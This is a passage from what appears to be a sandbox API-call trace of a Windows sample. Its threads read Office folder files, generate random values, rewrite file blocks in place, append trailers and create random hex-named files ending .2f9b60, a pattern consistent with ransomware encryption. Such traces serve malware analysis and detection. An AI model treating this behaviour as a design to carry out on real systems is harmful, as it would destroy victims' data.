SourceString="a2f261ff69c9856b8d2bbd0a418c685878741a75631aff97dc3eafa7b6098dbbb69201cd6c85", AllocateDestinationString=1 | out: DestinationString="a2f261ff69c9856b8d2bbd0a418c685878741a75631aff97dc3eafa7b6098dbbb69201cd6c85") returned 0x0 [0216.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce17c60 [0216.520] wcscat (in: _Dest=0x431c4cc0, _Source="a2f261ff69c9856b8d2" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a2f261ff69c9856b8d2") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a2f261ff69c9856b8d2" [0216.520] wcscat (in: _Dest=0x431c4cc0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a2f261ff69c9856b8d2.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a2f261ff69c9856b8d2.2f9b60" [0216.520] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a2f261ff69c9856b8d2.2f9b60", NtPathName=0x1f78fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a2f261ff69c9856b8d2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4311b020 Thread: id = 1686 os_tid = 0x1bec [0130.332] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll")) returned 0x2020 [0130.336] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.337] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1508 [0130.338] GetFileSizeEx (in: hFile=0x1508, lpFileSize=0x1de3f6e0 | out: lpFileSize=0x1de3f6e0*=2944352) returned 1 [0130.338] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x2ced5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.338] ReadFile (in: hFile=0x1508, lpBuffer=0x1de3f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1de3f6a8, lpOverlapped=0x0 | out: lpBuffer=0x1de3f660*, lpNumberOfBytesRead=0x1de3f6a8*=0x4, lpOverlapped=0x0) returned 1 [0130.348] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0130.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b80 [0130.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.348] NtQuerySystemTime (in: CurrentTime=0x1de3f5a0 | out: CurrentTime=0x1de3f5a0*=132462177355870000) returned 0x0 [0130.348] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x24ca3bd6 [0130.348] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x3d1f4b78 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x22c05b4c [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x10928662 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x10c2e78e [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x673f9bf5 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x30334828 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x172420ed [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x43158794 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x54a9d0dc [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x5b723a6d [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x15984a02 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x1968a60f [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x16daa2ad [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x63ceea43 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x4011283a [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x8d4325d [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x2c8fc1c6 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x1a0004ff [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x6aa8b9ed [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x3d87087b [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x552260b9 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x2e56afad [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x2f924d00 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x57e8c8bf [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x63c5b1fe [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x2d0c4ff2 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x790bd412 [0130.349] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x3487c00f [0130.350] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x2f7e3aaa [0130.350] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x15b6ee06 [0130.350] RtlRandomEx (in: Seed=0x1de3f590 | out: Seed=0x1de3f590) returned 0x51a1e249 [0130.361] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.361] ReadFile (in: hFile=0x1508, lpBuffer=0x41ea2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1de3f600, lpOverlapped=0x0 | out: lpBuffer=0x41ea2d00*, lpNumberOfBytesRead=0x1de3f600*=0x3c00, lpOverlapped=0x0) returned 1 [0130.368] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0130.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8596d0) returned 1 [0130.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ecc1b0 [0130.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0130.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c70) returned 1 [0130.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.369] WriteFile (hFile=0x1508, lpBuffer=0x41ecc1b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1de3f600, lpOverlapped=0x0) [0180.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ecc1b0) returned 1 [0180.044] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x168000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.044] ReadFile (in: hFile=0x1508, lpBuffer=0x41ea2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1de3f600, lpOverlapped=0x0 | out: lpBuffer=0x41ea2d00*, lpNumberOfBytesRead=0x1de3f600*=0x3c00, lpOverlapped=0x0) returned 1 [0182.780] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x168000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30440 [0182.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30440) returned 1 [0182.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42812670 [0182.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30440 [0182.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30470 [0182.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30470) returned 1 [0182.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.784] WriteFile (in: hFile=0x1508, lpBuffer=0x42812670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1de3f600, lpOverlapped=0x0 | out: lpBuffer=0x42812670*, lpNumberOfBytesWritten=0x1de3f600*=0x3c00, lpOverlapped=0x0) returned 1 [0197.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42812670) returned 1 [0197.955] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x2cb160, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.955] ReadFile (in: hFile=0x1508, lpBuffer=0x41ea2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1de3f600, lpOverlapped=0x0 | out: lpBuffer=0x41ea2d00*, lpNumberOfBytesRead=0x1de3f600*=0x3c00, lpOverlapped=0x0) returned 1 [0198.908] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x2cb160, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b9b0 [0198.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b9b0) returned 1 [0198.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420dd570 [0198.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b9b0 [0198.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b9e0 [0198.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b9e0) returned 1 [0198.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.912] WriteFile (in: hFile=0x1508, lpBuffer=0x420dd570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1de3f600, lpOverlapped=0x0 | out: lpBuffer=0x420dd570*, lpNumberOfBytesWritten=0x1de3f600*=0x3c00, lpOverlapped=0x0) returned 1 [0213.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420dd570) returned 1 [0213.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f210 [0213.924] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.924] WriteFile (in: hFile=0x1508, lpBuffer=0x1ceb8770*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x1de3f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8770*, lpNumberOfBytesWritten=0x1de3f6b0*=0x15a, lpOverlapped=0x0) returned 1 [0218.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0218.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265f10 [0218.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265f10) returned 1 [0218.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20265f10 [0218.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ee0 [0218.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265e80 [0218.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265e80) returned 1 [0218.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0218.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b8587f0 [0218.139] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="66") returned 2 [0218.139] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="3e") returned 2 [0218.139] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="58") returned 2 [0218.139] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="81") returned 2 [0218.139] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="6b") returned 2 [0218.140] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="fb") returned 2 [0218.140] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="dc") returned 2 [0218.140] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="60") returned 2 [0218.140] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="00") returned 2 [0218.141] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="c3") returned 2 [0218.141] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.141] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.141] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="c8") returned 2 [0218.141] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="61") returned 2 [0218.141] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="c9") returned 2 [0218.141] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="a9") returned 2 [0218.141] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="6b") returned 2 [0218.141] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="b9") returned 2 [0218.141] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="81") returned 2 [0218.141] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="03") returned 2 [0218.141] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="f1") returned 2 [0218.141] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="95") returned 2 [0218.141] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.141] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="6b") returned 2 [0218.141] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.141] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="75") returned 2 [0218.141] sprintf (in: _Dest=0x1b858824, _Format="%c%c" | out: _Dest="16") returned 2 [0218.141] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="16") returned 2 [0218.141] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="93") returned 2 [0218.141] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.141] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="2c") returned 2 [0218.141] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="a1") returned 2 [0218.141] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="c2") returned 2 [0218.141] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.141] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="8c") returned 2 [0218.141] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="20") returned 2 [0218.141] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.141] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="23") returned 2 [0218.141] sprintf (in: _Dest=0x1b85883c, _Format="%c%c" | out: _Dest="5e") returned 2 [0218.141] sprintf (in: _Dest=0x1b85883e, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.141] RtlInitAnsiString (in: DestinationString=0x1de3f728, SourceString="663e58816bfbdc6000c3e32dc861c9a96bb98103f195e36b4c751616937d2ca1c2ab8c20c1235ee3" | out: DestinationString="663e58816bfbdc6000c3e32dc861c9a96bb98103f195e36b4c751616937d2ca1c2ab8c20c1235ee3") [0218.142] RtlAnsiStringToUnicodeString (in: DestinationString=0x1de3f6f8, SourceString="663e58816bfbdc6000c3e32dc861c9a96bb98103f195e36b4c751616937d2ca1c2ab8c20c1235ee3", AllocateDestinationString=1 | out: DestinationString="663e58816bfbdc6000c3e32dc861c9a96bb98103f195e36b4c751616937d2ca1c2ab8c20c1235ee3") returned 0x0 [0218.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43109590 [0218.142] wcscat (in: _Dest=0x20507690, _Source="663e58816bfbdc6000c3" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\663e58816bfbdc6000c3") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\663e58816bfbdc6000c3" [0218.142] wcscat (in: _Dest=0x20507690, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\663e58816bfbdc6000c3.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\663e58816bfbdc6000c3.2f9b60" [0218.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\663e58816bfbdc6000c3.2f9b60", NtPathName=0x1de3f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\663e58816bfbdc6000c3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312c0a0 Thread: id = 1687 os_tid = 0x1bf0 [0130.346] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll")) returned 0x2020 [0130.363] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.365] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a68 [0130.365] GetFileSizeEx (in: hFile=0x1a68, lpFileSize=0x1f80f6a0 | out: lpFileSize=0x1f80f6a0*=45920) returned 1 [0130.365] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0xb35c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.366] ReadFile (in: hFile=0x1a68, lpBuffer=0x1f80f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f80f668, lpOverlapped=0x0 | out: lpBuffer=0x1f80f620*, lpNumberOfBytesRead=0x1f80f668*=0x4, lpOverlapped=0x0) returned 1 [0130.374] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ac0 [0130.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.374] NtQuerySystemTime (in: CurrentTime=0x1f80f560 | out: CurrentTime=0x1f80f560*=132462177356182000) returned 0x0 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7c97048 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0xd4557e5 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x3c91f6d7 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x65f14304 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7cb0159c [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x66a503d0 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x50e2692e [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0xff3bf31 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x584b210d [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x6fbbe037 [0130.374] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7d8b54fd [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x455e4219 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7e3413ec [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x2c816715 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7c197bd9 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x5a1389b6 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x58ab65f5 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x34669e23 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x48358c63 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x2bffa5d2 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x74014a2a [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x680656f9 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7dfc56fd [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x137c8062 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x3d5bfa50 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x28bc6cb1 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x24a9987e [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x24294124 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x7ed922ed [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x41d95fe3 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x612c28e7 [0130.375] RtlRandomEx (in: Seed=0x1f80f550 | out: Seed=0x1f80f550) returned 0x50149a7c [0130.387] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.387] ReadFile (in: hFile=0x1a68, lpBuffer=0x202bd4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x202bd4e0*, lpNumberOfBytesRead=0x1f80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.392] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c70) returned 1 [0130.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202ea5a0 [0130.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0130.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b20) returned 1 [0130.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.393] WriteFile (in: hFile=0x1a68, lpBuffer=0x202ea5a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x202ea5a0*, lpNumberOfBytesWritten=0x1f80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ea5a0) returned 1 [0161.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202bd4e0) returned 1 [0161.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 